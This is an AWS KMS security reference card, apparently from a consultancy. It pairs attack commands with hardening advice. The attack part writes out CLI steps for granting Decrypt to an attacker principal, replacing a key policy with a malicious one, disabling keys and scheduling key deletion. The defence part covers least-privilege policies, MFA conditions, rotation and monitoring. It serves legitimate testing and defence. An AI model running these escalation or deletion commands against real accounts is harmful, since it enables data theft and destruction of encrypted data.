Key Management Service (KMS) manages cryptographic keys for encrypting data across AWS services. Key policies control access. Compromising KMS keys grants access to all encrypted data.
Keys you create, own, and manage. Full control over key policies, rotation, and deletion. Can be symmetric (AES-256) or asymmetric (RSA, ECC).
Attack note: Key policies often too permissive, allowing privilege escalation through CreateGrant
Created and managed by AWS services (aws/s3, aws/ebs, etc). Automatic rotation. Limited policy control. Cannot be deleted or shared cross-account.
Attack note: Compromising IAM grants implicit access to AWS managed keys through service permissions
KMS key compromise grants access to all encrypted data across S3, EBS, RDS, and other services. Key policies with Principal: * or overly permissive grants are common attack vectors.
aws kms list-keys --region us-east-1aws kms list-aliasesaws kms get-key-policy \
--key-id KEY_ID \
--policy-name defaultaws kms list-grants --key-id KEY_IDaws kms describe-key --key-id KEY_IDKey insight: CreateGrant permission is often overlooked but allows full privilege escalation to Decrypt.
aws kms create-grant \
--key-id KEY_ID \
--grantee-principal arn:aws:iam::ACCOUNT:user/attacker \
--operations Decrypt Encryptaws kms decrypt \
--ciphertext-blob fileb://encrypted.dat \
--output text --query Plaintext | base64 -daws kms schedule-key-deletion \
--key-id KEY_ID \
--pending-window-in-days 7aws kms put-key-policy \
--key-id KEY_ID \
--policy-name default \
--policy file://malicious-policy.jsonaws kms create-grant \
--key-id KEY_ID \
--grantee-principal ATTACKER_ARN \
--retiring-principal ATTACKER_ARN \
--operations Decryptaws kms disable-key --key-id KEY_ID{
"Effect": "Allow",
"Principal": "*",
"Action": "kms:*",
"Resource": "*"
}Anyone can perform any KMS action - full key compromise
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/AppRole"},
"Action": ["kms:Decrypt", "kms:GenerateDataKey"],
"Resource": "*",
"Condition": {
"StringEquals": {"kms:ViaService": "s3.us-east-1.amazonaws.com"}
}
}Only specific role, limited actions, service-restricted
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/AppRole"},
"Action": ["kms:Decrypt", "kms:Encrypt"],
"Resource": "*"
}Missing ViaService allows direct KMS API calls
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:user/admin"},
"Action": ["kms:ScheduleKeyDeletion", "kms:PutKeyPolicy"],
"Resource": "*",
"Condition": {
"Bool": {"aws:MultiFactorAuthPresent": "true"}
}
}Sensitive operations require MFA
Restrict kms:* - only allow specific actions needed (Decrypt, GenerateDataKey).
"Action": ["kms:Decrypt", "kms:GenerateDataKey"]Add MFA condition to sensitive operations like key deletion and policy changes.
"Condition": {"Bool": {"aws:MultiFactorAuthPresent": "true"}}Enable automatic annual key rotation for symmetric CMKs.
aws kms enable-key-rotation --key-id KEY_IDDeny ScheduleKeyDeletion in SCP or key policy to prevent ransomware.
"Effect": "Deny", "Action": "kms:ScheduleKeyDeletion"Set up CloudWatch alarms for CreateGrant, PutKeyPolicy, and Decrypt events.
Regularly review and revoke unnecessary grants.
aws kms list-grants --key-id KEY_ID | jq '.Grants[]'AWS KMS Security Card • Toc Consulting
Always obtain proper authorization before testing